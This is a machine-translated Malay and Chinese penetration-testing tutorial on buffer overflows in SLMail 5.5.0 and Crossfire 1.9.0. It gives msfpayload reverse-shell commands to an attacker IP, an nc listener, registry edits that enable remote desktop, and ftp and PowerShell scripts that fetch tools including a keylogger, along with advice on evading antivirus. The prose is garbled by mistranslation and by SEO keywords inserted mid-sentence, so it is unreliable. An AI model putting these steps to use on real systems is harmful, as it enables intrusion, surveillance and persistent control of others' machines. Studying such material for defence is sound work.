Rumah  >  Artikel  >  Tutorial sistem  >  Tutorial Pengujian Penembusan Linux: Ajar anda langkah demi langkah daripada bermula hingga berputus asa dengan limpahan tindanan

Tutorial Pengujian Penembusan Linux: Ajar anda langkah demi langkah daripada bermula hingga berputus asa dengan limpahan tindanan

WBOY
WBOYke hadapan
2024-02-02 09:36:02487semak imbas

Sila rujuk tutorial ujian penembusan KaliLinux oleh En. Yuan Fanghong dari Bilik Darjah Niu Keselamatan untuk kandungan nota

Inti dari semua kelemahan datang daripada input data Prinsip limpahan penimbal ialah sempadan antara data dan kod menjadi kabur Apabila had sempadan penampan tidak ketat, penimbal akan "dieksploitasi" disebabkan oleh data yang tidak betul. pembolehubah atau program menjalankan ralat "Eksploitasi", dengan itu menimpa data dalam kawasan memori video bersebelahan, berjaya menukar data memori video, yang boleh membawa kepada proses penculikan, pelaksanaan kod berniat jahat, dan pemerolehan kawalan pelayan.

Untuk lebih memahami prinsip limpahan penimbal, sila rujuk artikel yang dicetak semula oleh penulis:

Ajar anda langkah demi langkah tentang limpahan timbunan daripada bermula hingga berputus asa (Bahagian 1)

Ajar anda langkah demi langkah cara menggunakan limpahan timbunan daripada bermula hingga berputus asa (Bahagian 2)

Direktori Artikel

1. Cara untuk menemui kelemahan (1) Audit kod sumber

Pembangun perisian boleh menggunakan kejuruteraan sosial dan kaedah lain untuk mendapatkan kod sumber untuk semakan dan penyahpepijatan. Syaratnya adalah ketat dan kod sumber biasanya tidak tersedia.

(2) Kejuruteraan Songsang

Gunakan kejuruteraan terbalik untuk mendapatkan kod sumber pemasangan untuk analisis kod pemasangan adalah beban kerja yang berat dan sukar.

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) Kabur

Ini adalah satu cara untuk menemui kelemahan perisian dengan memberikan input yang tidak dijangka kepada sistem sasaran dan memantau hasil yang tidak normal Secara amnya, ini dilakukan menggunakan input yang sah dan menambah sisihan rawak, yang memerlukan penggunaan alat penyahpepijatan perisian (seperti: ImmunityDebugger). .

2. Proses ujian Fuzz

Pertama sekali, anda perlu memahami beberapa teknologi perlindungan keselamatan terhadap limpahan penimbal, kerana mekanisme perlindungan ini perlu dielakkan semasa proses ujian fuzz.

(1) Windows

Perisian ujian ialah 'SLMail5.5.0MailServer', dan arahan PASSnya mempunyai kelemahan limpahan penimbal. Idea asas: (Gunakan ImmunityDebugger sebagai alat nyahpepijat)

1. Gunakan skrip python untuk menguji sama ada arahan PASS akan melimpah apabila ia menerima jumlah data yang besar Biasanya jika tiada limpahan selepas 3000 aksara, ia bermakna tidak ada kelemahan limpahan.

2. Selepas menemui kelemahan limpahan, tentukan alamat yang sepadan dengan EIP Kaedah asas ialah: kaedah binari dan kaedah rentetan yang unik. Kaedah rentetan unik boleh dijana dengan skrip metasploit usr/share/metasploit-framework/tools/pattern_create.rb3000.

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3 Tukar EIP kepada alamat memori video yang sepadan dengan Shellcode, tulis Shellcode ke ruang alamat, program membaca nilai daftar EIP, dan melompat ke segmen kod shellcode dan melaksanakannya.

4. Melalui alat penyahpepijatan, kami mendapati bahawa selepas data yang dihantar memenuhi EIP, ia akan mengisi ruang yang ditunjukkan oleh ESP, jadi kami meletakkan Shellcode di lokasi ESP.

5. Tentukan jarak dari alamat ESP ke bahagian bawah timbunan Limpahan anti-penampan Linux, iaitu saiz Shellcode boleh disimpan. Gunakan skrip python untuk menghantar data kepada perisian untuk ujian, dan nyahpepijat perisian untuk melihat jumlah data yang disimpan dalam ruang yang ditunjukkan oleh ESP. Pandangan ruang memori video proses sistem komputer moden ditunjukkan dalam rajah:

Rajah 1 Paparan ruang memori proses

6. Disebabkan oleh mekanisme ASLR, alamat timbunan panggilan fungsi berubah secara rawak setiap kali perisian berjalan, jadi pengekodan keras tidak boleh dilaksanakan lompat alamat arahan JMPESP dalam modul Kemudian arahan ini melompat terus ke ESP, dan kemudian laksanakan kod shell Gunakan skrip mona.py untuk mengenal pasti modul memori video yang merupakan modul JMPESP arahan. Cari modul sistem yang tidak dilindungi oleh mekanisme DEP dan ASLR, dengan bantuan /usr /share/metasploit-framework/tools/nasm_shell.rb Tukar arahan pemasangan jmpesp kepada pelengkap dua kepada FFE4, cari FFE4 arahan dalam modul!monafind-s "xffxe4"-mslmfc.dll, selepas mencari alamat arahan, tukar Isikan alamat EIPlinux versi qq, bina Shellcode dan alih keluar aksara buruk: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b“x00x0ax0d

Nota: Muatan yang dipilih semasa membina Shellcode ialah sambungan terbalik dan bukannya sambungan langsung untuk mengikat Ini boleh mengelakkan strategi menyekat tembok api.

7. Akhir sekali, dayakan port tapping nc-vlp443 Selepas Shellcode dilaksanakan, keluar dari keseluruhan proses menggunakan kaedah ExitProcess, yang akan menyebabkan perkhidmatan SMS ranap adalah aplikasi berasaskan benang keseluruhan perkhidmatan daripada ranap dan mencapai limpahan berulang: /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"

Nota: Jenis program, protokol dan kelemahan yang berbeza akan menganggap aksara individu sebagai aksara yang tidak baik, jadi aksara yang tidak baik tidak boleh muncul dalam alamat pemulangan, Shellcode atau penimbal. Hantar 0x00-0xff256 aksara dan cari semua aksara buruk. Aksara buruk boleh dikodkan dengan bantuan skrip metasploit ./msfencode.

8 Jika anda ingin mengawal lebih lanjut sasaran serangan, anda boleh membuka desktop jauh dengan menukar pendaftaran Lebih daripada 90% konfigurasi dalam Windows boleh diselesaikan dengan menukar pendaftaran:

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(2)Linux

Perisian ujian ialah 'Crossfire', dan 1.9.0 mempunyai kelemahan limpahan penimbal apabila menerima sambungan soket masuk. Idea asasnya adalah sama seperti Windows Fuzzing (edb digunakan sebagai alat penyahpepijatan), jadi saya tidak akan menerangkan secara terperinci Anda perlu memberi perhatian kepada perkara berikut:

1. Arahan nyahpepijat: edb--run/usr/games/crossfire/bin/crossfire

2. Apabila mengesahkan limpahan penimbal, kami mendapati bahawa nilai EIP hanya boleh dilindungi dengan tepat apabila muatan ditetapkan pada 4368 bait Dengan cara ini, ruang yang ditunjukkan oleh ESP hanya mempunyai 7 bait, yang tidak mencukupi letakkan Shellcode Oleh itu, carian dalam edb boleh menjadi Daftar yang dilindungi sepenuhnya oleh data mendapati EAX, jadi sebagai penyelesaian, ESP melompat ke EAX untuk melaksanakan Shellcode.

3 Pilih dan tukar EXP

Terdapat kod bantuan (EXP) di Internet untuk pelbagai kelemahan perisian yang telah diterbitkan sejak sekian lama Kami boleh memilih sumber EXP yang boleh dipercayai dan menjalankan kajian atau perubahan atas dasar ini, terutamanya Shellcode tidak boleh digunakan dengan mudah Linux anti-buffer. overflow, terdapat Untuk aplikasi sistem Linux yang mungkin mengandungi virus, bahasa pengaturcaraan yang perlu dikuasai umumnya termasuk Python, C, C++, Ruby, dll. Beberapa sumber EXP yang boleh dipercayai:

Selepas menerima EXP, anda perlu memberi perhatian kepada perkara berikut:

4. Peringkat selepas kerentanan

Termasuk operasi lanjut seperti memuat naik alat, meningkatkan keistimewaan, memadam jejak serangan, dan memasang pintu sisi Di sini kami hanya membincangkan operasi muat naik fail adalah asas untuk pra-pemasangan Trojan dan pemasangan pintu sisi cangkerang sistem pengendalian sasaran yang telah diperolehi Lakukan operasi muat naik fail.

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

Atas ialah kandungan terperinci Tutorial Pengujian Penembusan Linux: Ajar anda langkah demi langkah daripada bermula hingga berputus asa dengan limpahan tindanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:itcool.net. Jika ada pelanggaran, sila hubungi admin@php.cn Padam